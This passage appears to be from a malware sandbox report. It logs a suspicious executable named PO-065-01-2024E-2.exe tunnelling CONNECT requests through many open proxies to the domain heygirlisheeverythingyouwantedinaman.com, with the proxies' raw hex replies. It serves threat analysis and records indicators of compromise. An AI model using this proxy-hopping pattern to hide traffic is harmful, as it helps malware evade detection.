Mar 11, 2024 16:39:50.401164055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.293855906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.000781059 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1233	192.168.2.10	53706	72.10.164.178	29471	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.409507036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.035201073 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1234	192.168.2.10	53643	13.37.89.201	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.469903946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.769830942 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:50 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1235	192.168.2.10	53647	158.255.215.50	11857	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.469907045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.764808893 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1236	192.168.2.10	53731	104.17.37.235	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.472773075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.629623890 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1237	192.168.2.10	53635	177.67.136.241	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.472847939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1238	192.168.2.10	53727	156.154.112.21	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.474060059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.637255907 CET	1286	IN	HTTP/1.1 405 Method Not Allowed Server: squid/3.5.25 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1557 X-Squid-Error: ERR_UNSUP_REQ 0 X-Cache: MISS from . X-Cache-Lookup: NONE from .:80 Via: 1.1 . (squid/3.5.25) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 45 52 52 5f 55 4e 53 55 50 5f 52 45 51 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 3e 45 52 52 4f 52 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 72 65 74 72 69 65 76 65 20 74 68 65 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 65 72 72 6f 72 3a 6d 65 74 68 6f 64 2d 6e 6f 74 2d 61 6c 6c 6f 77 65 64 22 3e 65 72 72 6f 72 3a 6d 65 74 68 6f 64 2d 6e 6f 74 2d 61 6c 6c 6f 77 65 64 3c 2f 61 3e 3c 2f 70 3e 0a 0a 3c 62 6c 6f 63 6b 71 75 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 3c 70 3e 3c 62 3e 55 6e 73 75 70 70 6f 72 74 65 64 20 52 65 71 75 65 73 74 20 4d 65 74 68 6f 64 20 61 6e 64 20 50 72 6f 74 6f 63 6f 6c 3c 2f 62 3e 3c 2f 70 3e 0a 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0a 0a 3c 70 3e 53 71 75 69 64 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 61 6c 6c 20 72 65 71 75 65 73 74 20 6d 65 74 68 6f 64 73 20 66 6f 72 20 61 6c 6c 20 61 63 63 65 73 73 20 70 72 6f 74 6f 63 6f 6c 73 2e 20 46 6f 72 20 65 78 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id=ERR_UNSUP_REQ><div id="titles"><h1>ERROR</h1><h2>The requested URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="error:method-not-allowed">error:method-not-allowed</a></p><blockquote id="error"><p><b>Unsupported Request Method and Protocol</b></p></blockquote><p>Squid does not support all request methods for all access protocols. For exa
Mar 11, 2024 16:39:50.637269020 CET	577	IN	Data Raw: 6d 70 6c 65 2c 20 79 6f 75 20 63 61 6e 20 6e 6f 74 20 50 4f 53 54 20 61 20 47 6f 70 68 65 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 70 3e 59 6f 75 72 20 63 61 63 68 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 69 73 20 3c 61 20 68 72 Data Ascii: mple, you can not POST a Gopher request.</p><p>Your cache administrator is <a href="mailto:support@dnsadvantage.com?subject=CacheErrorInfo%20-%20ERR_UNSUP_REQ&body=CacheHost%3A%20.%0D%0AErrPage%3A%20ERR_UNSUP_REQ%0D%0AErr%3A%20%5Bnone%5D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1239	192.168.2.10	53637	194.163.129.90	43076	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.474231005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.157743931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1240	192.168.2.10	53636	122.116.150.2	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.474414110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1241	192.168.2.10	53775	1.0.0.4	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.491127014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.645692110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1242	192.168.2.10	53774	185.162.229.112	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.491274118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.645785093 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1243	192.168.2.10	52573	66.248.237.227	56740	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.493839979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598450899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.598486900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1244	192.168.2.10	53638	170.84.205.17	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.495886087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1245	192.168.2.10	53560	8.213.128.90	808	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.498497963 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1246	192.168.2.10	53789	104.17.215.222	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.498864889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.653295040 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1247	192.168.2.10	53691	157.185.173.217	26589	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.506863117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1248	192.168.2.10	53658	202.139.198.15	3050	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.512850046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:17.670479059 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1249	192.168.2.10	53784	35.190.107.16	30000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.512871981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1250	192.168.2.10	53692	122.155.165.191	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.534445047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.894141912 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1251	192.168.2.10	53562	8.213.128.90	4506	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.539793015 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
